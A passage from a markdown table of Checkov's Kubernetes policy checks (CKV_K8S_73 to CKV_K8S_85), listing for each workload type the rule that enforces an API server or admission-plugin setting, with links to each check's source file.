[ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 378 | CKV_K8S_73  | resource | StatefulSet            | Ensure that the --kubelet-certificate-authority argument is set as appropriate                                                                                                                 | Kubernetes | [ApiServerkubeletCertificateAuthority.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerkubeletCertificateAuthority.py)                           |\n| 379 | CKV_K8S_74  | resource | CronJob                | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 380 | CKV_K8S_74  | resource | DaemonSet              | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 381 | CKV_K8S_74  | resource | Deployment             | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 382 | CKV_K8S_74  | resource | DeploymentConfig       | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 383 | CKV_K8S_74  | resource | Job                    | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 384 | CKV_K8S_74  | resource | Pod                    | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 385 | CKV_K8S_74  | resource | PodTemplate            | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 386 | CKV_K8S_74  | resource | ReplicaSet             | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 387 | CKV_K8S_74  | resource | ReplicationController  | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 388 | CKV_K8S_74  | resource | StatefulSet            | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [ApiServerAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py)                   |\n| 389 | CKV_K8S_75  | resource | CronJob                | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 390 | CKV_K8S_75  | resource | DaemonSet              | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 391 | CKV_K8S_75  | resource | Deployment             | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 392 | CKV_K8S_75  | resource | DeploymentConfig       | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 393 | CKV_K8S_75  | resource | Job                    | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 394 | CKV_K8S_75  | resource | Pod                    | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 395 | CKV_K8S_75  | resource | PodTemplate            | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 396 | CKV_K8S_75  | resource | ReplicaSet             | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 397 | CKV_K8S_75  | resource | ReplicationController  | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 398 | CKV_K8S_75  | resource | StatefulSet            | Ensure that the --authorization-mode argument includes Node                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeNode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py)                                       |\n| 399 | CKV_K8S_77  | resource | CronJob                | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 400 | CKV_K8S_77  | resource | DaemonSet              | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 401 | CKV_K8S_77  | resource | Deployment             | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 402 | CKV_K8S_77  | resource | DeploymentConfig       | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 403 | CKV_K8S_77  | resource | Job                    | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 404 | CKV_K8S_77  | resource | Pod                    | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 405 | CKV_K8S_77  | resource | PodTemplate            | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 406 | CKV_K8S_77  | resource | ReplicaSet             | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 407 | CKV_K8S_77  | resource | ReplicationController  | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 408 | CKV_K8S_77  | resource | StatefulSet            | Ensure that the --authorization-mode argument includes RBAC                                                                                                                                    | Kubernetes | [ApiServerAuthorizationModeRBAC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py)                                       |\n| 409 | CKV_K8S_78  | resource | AdmissionConfiguration | Ensure that the admission control plugin EventRateLimit is set                                                                                                                                 | Kubernetes | [ApiServerAdmissionControlEventRateLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlEventRateLimit.py)                     |\n| 410 | CKV_K8S_79  | resource | CronJob                | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 411 | CKV_K8S_79  | resource | DaemonSet              | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 412 | CKV_K8S_79  | resource | Deployment             | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 413 | CKV_K8S_79  | resource | DeploymentConfig       | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 414 | CKV_K8S_79  | resource | Job                    | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 415 | CKV_K8S_79  | resource | Pod                    | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 416 | CKV_K8S_79  | resource | PodTemplate            | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 417 | CKV_K8S_79  | resource | ReplicaSet             | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 418 | CKV_K8S_79  | resource | ReplicationController  | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 419 | CKV_K8S_79  | resource | StatefulSet            | Ensure that the admission control plugin AlwaysAdmit is not set                                                                                                                                | Kubernetes | [ApiServerAdmissionControlAlwaysAdmit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py)                           |\n| 420 | CKV_K8S_80  | resource | CronJob                | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 421 | CKV_K8S_80  | resource | DaemonSet              | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 422 | CKV_K8S_80  | resource | Deployment             | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 423 | CKV_K8S_80  | resource | DeploymentConfig       | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 424 | CKV_K8S_80  | resource | Job                    | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 425 | CKV_K8S_80  | resource | Pod                    | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 426 | CKV_K8S_80  | resource | PodTemplate            | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 427 | CKV_K8S_80  | resource | ReplicaSet             | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 428 | CKV_K8S_80  | resource | ReplicationController  | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 429 | CKV_K8S_80  | resource | StatefulSet            | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                               | Kubernetes | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                     |\n| 430 | CKV_K8S_81  | resource | CronJob                | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 431 | CKV_K8S_81  | resource | DaemonSet              | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 432 | CKV_K8S_81  | resource | Deployment             | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 433 | CKV_K8S_81  | resource | DeploymentConfig       | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 434 | CKV_K8S_81  | resource | Job                    | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 435 | CKV_K8S_81  | resource | Pod                    | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 436 | CKV_K8S_81  | resource | PodTemplate            | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 437 | CKV_K8S_81  | resource | ReplicaSet             | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 438 | CKV_K8S_81  | resource | ReplicationController  | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 439 | CKV_K8S_81  | resource | StatefulSet            | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                           | Kubernetes | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                               |\n| 440 | CKV_K8S_82  | resource | CronJob                | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 441 | CKV_K8S_82  | resource | DaemonSet              | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 442 | CKV_K8S_82  | resource | Deployment             | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 443 | CKV_K8S_82  | resource | DeploymentConfig       | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 444 | CKV_K8S_82  | resource | Job                    | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 445 | CKV_K8S_82  | resource | Pod                    | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 446 | CKV_K8S_82  | resource | PodTemplate            | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 447 | CKV_K8S_82  | resource | ReplicaSet             | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 448 | CKV_K8S_82  | resource | ReplicationController  | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 449 | CKV_K8S_82  | resource | StatefulSet            | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                 | Kubernetes | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                         |\n| 450 | CKV_K8S_83  | resource | CronJob                | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 451 | CKV_K8S_83  | resource | DaemonSet              | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 452 | CKV_K8S_83  | resource | Deployment             | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 453 | CKV_K8S_83  | resource | DeploymentConfig       | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 454 | CKV_K8S_83  | resource | Job                    | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 455 | CKV_K8S_83  | resource | Pod                    | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 456 | CKV_K8S_83  | resource | PodTemplate            | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 457 | CKV_K8S_83  | resource | ReplicaSet             | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 458 | CKV_K8S_83  | resource | ReplicationController  | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 459 | CKV_K8S_83  | resource | StatefulSet            | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                             | Kubernetes | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                 |\n| 460 | CKV_K8S_84  | resource | CronJob                | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 461 | CKV_K8S_84  | resource | DaemonSet              | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 462 | CKV_K8S_84  | resource | Deployment             | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 463 | CKV_K8S_84  | resource | DeploymentConfig       | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 464 | CKV_K8S_84  | resource | Job                    | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 465 | CKV_K8S_84  | resource | Pod                    | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 466 | CKV_K8S_84  | resource | PodTemplate            | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 467 | CKV_K8S_84  | resource | ReplicaSet             | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 468 | CKV_K8S_84  | resource | ReplicationController  | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 469 | CKV_K8S_84  | resource | StatefulSet            | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                              | Kubernetes | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                   |\n| 470 | CKV_K8S_85  | resource | CronJob                | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                       |\n| 471 | CKV_K8S_85  | resource | DaemonSet              | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                | Kubernetes | 